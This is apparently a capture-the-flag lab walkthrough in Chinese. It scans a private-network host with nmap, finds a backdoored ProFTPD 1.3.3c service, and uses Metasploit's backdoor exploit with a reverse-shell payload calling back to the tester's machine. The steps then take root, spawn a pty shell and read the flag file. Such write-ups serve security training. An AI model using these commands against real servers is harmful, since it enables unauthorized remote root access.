1.信息探测
#开放服务信息
nmap -sV 192.168.2.113
#挖掘全部信息
nmpa -A -v -T4 192.168.2.113
2.查找对应漏洞
#对应FTP版本为ProFTPD 1.3.3c
#查找对应漏洞
searchsploit ProFTPD 1.3.3c
3.使用metasploit进行溢出
msfconsole
#输入search对应的软件及版本号
>search ProFTPD 1.3.3c
#exploit/unix/ftp/proftpd_133c_backdoor
>use exploit
>show payloads
#set payload
>set payload cmd/unix/reverse
>show options
#set rhosts
>set rhosts 192.168.2.113
#set lhost
>set lhost 192.168.2.110
>exploit
>id
#获取root权限
优化会话显示带用户、目录的命令行界面
python -c "import pty;pty.spawn('/bin/bash')"
4.获取flag
cd /root/
ls
cat flag.txt
#测试文档、总结文档
writeup
5.总结
对于开放FTP、SSH、Telnet服务的系统，可以尝试一些对应服务版本的漏洞代码